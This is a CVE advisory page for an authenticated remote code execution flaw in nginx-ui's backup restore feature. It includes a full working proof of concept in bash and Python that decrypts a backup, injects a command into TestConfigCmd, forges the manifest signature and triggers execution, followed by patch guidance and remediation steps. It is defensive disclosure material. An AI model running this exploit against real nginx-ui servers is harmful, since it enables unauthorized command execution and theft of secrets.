CVE-2026-107806: Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite

Published Oct 9, 2026
·
Updated

Summary

An authenticated nginx-ui user can call POST /api/restore, upload a forged encrypted backup, restore app.ini, set nginx command settings such as TestConfigCmd, and then trigger command execution with POST /api/nginx/test.

This was validated on nginx-ui 2.3.11 2(523) 6c86e5a5 in the local Docker container uozi/nginx-ui:latest.

Impact

An authenticated user can overwrite nginx-ui application configuration and database state through restore, including protected settings that are normally not writable through the settings API. By setting nginx command fields in the restored app.ini, the attacker can execute commands in the nginx-ui runtime context. This affects confidentiality, integrity, and availability because the attacker can read or replace secrets, change node/JWT secrets, corrupt application state, and execute arbitrary commands.

Affected Version / Environment

- Version: nginx-ui 2.3.11 2(523) 6c86e5a5 - Deployment: local Docker, uozi/nginx-ui:latest - Base URL used in validation: http://127.0.0.1:8080

Root Cause

/api/restore is reachable through normal authenticated-user authorization. The restore handler accepts attacker-supplied backup key material, validates the manifest with a key derived from that supplied AES key, decrypts attacker-controlled backup contents, and copies restored app.ini into the live nginx-ui config path.

Relevant code paths:

- api/backup/router.go: POST /api/restore - api/backup/restore.go: accepts securitytoken and uploaded backup file - internal/backup/manifest.go: derives backup signing key from supplied AES key - internal/backup/restore.go: restoreNginxUIConfig overwrites live app.ini - internal/nginx/exec.go: nginx command settings execute through shell-backed command paths

Proof of Concept

Assumptions:

- nginx-ui is already running. - $TOKEN is a valid user JWT. - $CONTAINER is the local disposable Docker container name for cleanup and evidence checks.

bash export BASE='http://127.0.0.1:8080' export TOKEN='<valid nginx-ui JWT>' export CONTAINER='nginx-ui'

Run only against a disposable local instance.

bash set -eu

TMP=$(mktemp -d) trap 'rm -rf "$TMP"' EXIT

docker cp "$CONTAINER":/etc/nginx-ui/app.ini "$TMP/app.ini.original"

curl -sS -D "$TMP/backup.headers" -o "$TMP/backup.zip" \ -H "Authorization: $TOKEN" \ "$BASE/api/backup"

SEC=$(awk 'BEGIN{IGNORECASE=1} /^X-Backup-Security:/{gsub("\r",""); print $2}' "$TMP/backup.headers") KEYB64=${SEC%%:} IVB64=${SEC#:} KEYHEX=$(printf '%s' "$KEYB64" | base64 -d | xxd -p -c 256) IVHEX=$(printf '%s' "$IVB64" | base64 -d | xxd -p -c 256)

mkdir -p "$TMP/outer" "$TMP/inner" unzip -q "$TMP/backup.zip" -d "$TMP/outer" openssl enc -d -aes-256-cbc -K "$KEYHEX" -iv "$IVHEX" -nosalt \ -in "$TMP/outer/nginx-ui.zip" \ -out "$TMP/nginx-ui.clear.zip" unzip -q "$TMP/nginx-ui.clear.zip" -d "$TMP/inner"

python3 - "$TMP/inner/app.ini" <<'PY' from pathlib import Path import sys

p = Path(sys.argv[1]) cmd = "TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce" lines = p.readtext().splitlines() out = [] innginx = False seennginx = False written = False

for line in lines: s = line.strip() if s.startswith("[") and s.endswith("]"): if innginx and not written: out.append(cmd) written = True innginx = s.lower() == "[nginx]" seennginx = seennginx or innginx if innginx and s.startswith("TestConfigCmd"): if not written: out.append(cmd) written = True continue out.append(line)

if innginx and not written: out.append(cmd) elif not seennginx: out.extend(["", "[nginx]", cmd])

p.writetext("\n".join(out) + "\n") PY

(cd "$TMP/inner" && zip -qr "$TMP/nginx-ui.modified.clear.zip" .) openssl enc -aes-256-cbc -K "$KEYHEX" -iv "$IVHEX" -nosalt \ -in "$TMP/nginx-ui.modified.clear.zip" \ -out "$TMP/outer/nginx-ui.zip"

OUTER="$TMP/outer" KEYB64="$KEYB64" python3 <<'PY' from pathlib import Path import base64 import hashlib import hmac import json import os

outer = Path(os.environ["OUTER"]) key = base64.b64decode(os.environ["KEYB64"]) manifest = json.loads((outer / "manifest.json").readtext())

for entry in manifest["files"]: data = (outer / entry["name"]).readbytes() entry["sha256"] = hashlib.sha256(data).hexdigest() entry["size"] = len(data)

manifest["files"] = sorted(manifest["files"], key=lambda e: e["name"]) manifestbytes = json.dumps(manifest, separators=(",", ":")).encode() (outer / "manifest.json").writebytes(manifestbytes)

signingkey = hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest() (outer / "manifest.sig").writetext(hmac.new(signingkey, manifestbytes, hashlib.sha256).hexdigest()) PY

(cd "$TMP/outer" && zip -qr "$TMP/malicious-restore.zip" manifest.sig nginx-ui.zip nginx.zip manifest.json)

curl -sS -X POST "$BASE/api/restore" \ -H "Authorization: $TOKEN" \ -F "restorenginx=false" \ -F "restorenginxui=true" \ -F "verifyhash=true" \ -F "securitytoken=$SEC" \ -F "backupfile=@$TMP/malicious-restore.zip"

sleep 10 for i in $(seq 1 80); do curl -sS -o /dev/null -H "Authorization: $TOKEN" "$BASE/api/settings" && break sleep 0.5 done

curl -sS -X POST "$BASE/api/nginx/test" \ -H "Authorization: $TOKEN"

docker exec "$CONTAINER" sh -lc 'cat /tmp/nginx-ui-restore-rce'

Cleanup and return the disposable instance to its original config. docker cp "$TMP/app.ini.original" "$CONTAINER":/etc/nginx-ui/app.ini docker exec "$CONTAINER" sh -lc 'rm -f /tmp/nginx-ui-restore-rce' docker restart "$CONTAINER"

Expected output:

text {"nginxuirestored":true,"nginxrestored":false,"hashmatch":true} {"message":"","level":-1,"testscope":"global"} restored-rce

Cleanup

The PoC performs cleanup at the end. If interrupted, restore the original app.ini from a known-good backup, remove /tmp/nginx-ui-restore-rce, and restart nginx-ui before continuing other tests.

Patch Guidance

Require an elevated/admin secure session for restore, do not allow ordinary authenticated users to restore nginx-ui app state, bind backup manifest signatures to a server-side secret or administrator-held passphrase, and block protected app settings from being restored unless explicitly approved through a hardened migration path.

Other sources

Nginx UI is a web user interface for the Nginx web server. From 2.3.8 until 2.5.0, an authenticated administrator with an active secure session can submit attacker-controlled portable backup key material and a matching manifest to POST /api/restore. The restore flow trusts the supplied key, decrypts attacker-controlled contents, and replaces the live app.ini, including protected nginx command settings such as TestConfigCmd. Triggering POST /api/nginx/test then executes the restored command in the Nginx UI runtime context, affecting confidentiality, integrity, and availability. This issue is fixed in version 2.5.0.

— MITRE

Affected Software

3 affected componentsFixes available
0xJacky Nginx UI>=2.3.8, <2.5.0
go/github.com/0xJacky/Nginx-UI>=1.9.10-0.20260421071512-7864e378f5cf<1.9.10-0.20260728074146-a467ed652591
1.9.10-0.20260728074146-a467ed652591
NginxUI Nginx UI>=2.3.8<2.5.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/0xJacky/Nginx-UI to a version that resolves this vulnerability.

    Fixed in 1.9.10-0.20260728074146-a467ed652591
  2. Upgrade

    Upgrade nginx-ui to a version that resolves this vulnerability.

    Fixed in 2.5.0
  3. Compensating control

    Require an elevated/admin secure session for restore and prevent ordinary authenticated users from restoring nginx-ui application state; bind backup manifest signatures to a server-side secret or administrator-held passphrase; and block protected application settings from being restored unless explicitly approved through a hardened migration path.

Event History

Oct 9, 2026
CVE Published
via MITRE·03:00 PM
Data Sourced
via MITRE·03:00 PM
DescriptionWeakness
Data Sourced
via NVD·03:17 PM
RemedyDescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·08:45 PM
Data Sourced
via GitHub·08:45 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue?

Exploitation requires an authenticated Nginx UI administrator account with an active secure session. The attacker must be able to submit requests to the restore endpoint and then trigger the Nginx configuration test endpoint.

2

Which versions are affected and what version fixes it?

Nginx UI versions from 2.3.8 up to, but not including, 2.5.0 are affected. The issue is fixed in version 2.5.0.

3

What attacker-controlled inputs are needed to reach code execution?

The attacker supplies portable backup key material and a matching manifest to POST /api/restore. This allows attacker-controlled decrypted content to replace app.ini, including the TestConfigCmd setting, after which POST /api/nginx/test executes the restored command.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203